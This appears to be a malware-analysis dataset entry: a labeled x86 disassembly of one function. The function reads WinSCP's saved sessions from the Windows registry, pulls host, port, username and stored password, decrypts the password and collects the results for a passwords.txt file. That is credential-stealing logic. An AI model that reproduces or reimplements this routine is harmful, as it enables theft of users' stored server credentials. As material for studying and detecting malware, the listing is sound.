Function at 0x40d466
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xde4
push ebx
push esi
push edi
xor ebx, ebx
push 0x103
lea eax, [ebp - 0x1e3]
push ebx
push eax
mov dword [ebp - 0x18], ebx
mov byte [ebp - 0x1e4], bl
call sub.msvcrt.dll_memset
mov esi, 0x3ff
push esi
lea eax, [ebp - 0xde3]
push ebx
push eax
mov dword [ebp - 0x14], 0x104
mov byte [ebp - 0xde4], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x5e3]
push ebx
push eax
mov byte [ebp - 0x5e4], bl
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x9e3]
push ebx
push eax
mov byte [ebp - 0x9e4], bl
call sub.msvcrt.dll_memset
inc esi
push esi
lea eax, [ebp - 0xde4]
push ebx
push eax
call sub.msvcrt.dll_memset
push esi
lea eax, [ebp - 0x5e4]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x48
push esi
lea eax, [ebp - 0x9e4]
push ebx
push eax
call sub.msvcrt.dll_memset
mov edi, dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
add esp, 0xc
lea eax, [ebp - 4]
push eax
push 1
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Configuration
push SysReAllocString
mov dword [ebp - 0x2c], esi
mov dword [ebp - 0x24], esi
mov dword [ebp - 0x20], esi
call edi
test eax, eax
jne 0x40d912
mov esi, dword [sym.imp.ADVAPI32.dll_RegGetValueA]
lea eax, [ebp - 0x40]
push eax
lea eax, [ebp - 0x30]
push eax
push ebx
push 0x10
push str.UseMasterPassword
push str.Security
push dword [ebp - 4]
call esi
test eax, eax
je 0x40d570
cmp dword [ebp - 4], ebx
je 0x40d912
push dword [ebp - 4]
call dword [0xb37b30]
mov dword [ebp - 4], ebx
jmp 0x40d912
cmp dword [ebp - 0x30], ebx
jne 0x40d556
cmp dword [ebp - 4], ebx
je 0x40d586
push dword [ebp - 4]
call dword [0xb37b30]
mov dword [ebp - 4], ebx
lea eax, [ebp - 4]
push eax
push 9
push ebx
push str.SoftwareMartin_PrikrylWinSCP_2Sessions
push SysReAllocString
call edi
test eax, eax
jne 0x40d912
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1e4]
push eax
push ebx
push dword [ebp - 4]
call dword [0xb37bbc]
test eax, eax
jne 0x40d556
push 0x41e266
lea ecx, [ebp - 0x10]
call fcn.0040e57d
push str.Soft:_WinSCP_n
lea eax, [ebp - 0x64]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x64]
call fcn.0040e5e8
push str.Host:
lea eax, [ebp - 0x88]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x88]
call fcn.0040e5e8
lea eax, [ebp - 0x2c]
push eax
lea eax, [ebp - 0xde4]
push eax
push ebx
push 2
push str.HostName
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
lea eax, [ebp - 0xde4]
push eax
lea eax, [ebp - 0x4c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x4c]
call fcn.0040e5e8
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x28]
push eax
push ebx
push 0xffff
push str.PortNumber
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
mov dword [ebp - 0x1c], 4
call esi
test eax, eax
jne 0x40d6b9
push dword [ebp - 0x28]
lea eax, [ebp - 0x7c]
push eax
call fcn.0040fc84
pop ecx
pop ecx
push eax
lea eax, [ebp - 0xa0]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e682
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0xa0]
call fcn.0040e5e8
lea ecx, [ebp - 0x7c]
jmp 0x40d6dc
push 0x4216a0
lea eax, [ebp - 0xac]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0xac]
call fcn.0040e5e8
push str._nLogin:
lea eax, [ebp - 0x94]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x94]
call fcn.0040e5e8
lea eax, [ebp - 0x24]
push eax
lea eax, [ebp - 0x5e4]
push eax
push ebx
push 2
push str.UserName
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0xc4]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0xc4]
call fcn.0040e5e8
push 0x4213fc
lea eax, [ebp - 0xb8]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0xb8]
call fcn.0040e5e8
lea eax, [ebp - 0x20]
push eax
lea eax, [ebp - 0x9e4]
push eax
push ebx
push 2
push str.Password
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 4]
call esi
push str.Password:
lea eax, [ebp - 0x58]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x58]
call fcn.0040e5e8
push 0x41e266
lea eax, [ebp - 0x9e4]
push eax
call dword [0xb37ba0]
test eax, eax
je 0x40d829
lea eax, [ebp - 0x9e4]
push eax
lea eax, [ebp - 0x5e4]
push eax
lea eax, [ebp - 0xde4]
push eax
lea eax, [ebp - 0xe0]
push eax
call fcn.0040d042
add esp, 0x10
cmp dword [eax + 0x14], 0x10
jb 0x40d7fd
mov eax, dword [eax]
push eax
lea eax, [ebp - 0x70]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x70]
call fcn.0040e5e8
push ebx
push 1
lea ecx, [ebp - 0xe0]
call fcn.0040ca67
push 0x421678
lea eax, [ebp - 0x3c]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e6d4
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e63b
lea ecx, [ebp - 0x3c]
call fcn.0040e5e8
inc dword [ebp - 0x18]
push ebx
push ebx
push ebx
push ebx
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x1e4]
push eax
push dword [ebp - 0x18]
mov dword [ebp - 0x14], 0x104
push dword [ebp - 4]
call dword [0xb37bbc]
push ebx
mov edi, eax
lea eax, [ebp - 0x5e4]
push ebx
push eax
call sub.msvcrt.dll_memset
push ebx
lea eax, [ebp - 0x9e4]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0x18
cmp edi, 0x103
jne 0x40d5cb
lea ecx, [ebp - 0x10]
call fcn.0040e766
push eax
call dword [0xb37a84]
push eax
lea ecx, [ebp - 0x10]
call fcn.0040e766
push eax
sub esp, 0xc
mov ecx, esp
push str.passwords.txt
call fcn.0040e57d
sub esp, 0x68
lea eax, [ebp + 8]
mov ecx, esp
push eax
call fcn.00401324
lea eax, [ebp - 0x3c]
push eax
call fcn.004126f8
add esp, 0x80
lea ecx, [ebp - 0x3c]
call fcn.0040e5e8
push 0xc
lea eax, [ebp - 0x10]
push ebx
push eax
call sub.msvcrt.dll_memset
add esp, 0xc
cmp dword [ebp - 4], ebx
je 0x40d90a
push dword [ebp - 4]
call dword [0xb37b30]
mov dword [ebp - 4], ebx
lea ecx, [ebp - 0x10]
call fcn.0040e5e8
lea ecx, [ebp + 8]
call fcn.00401301
pop edi
pop esi
pop ebx
leave
ret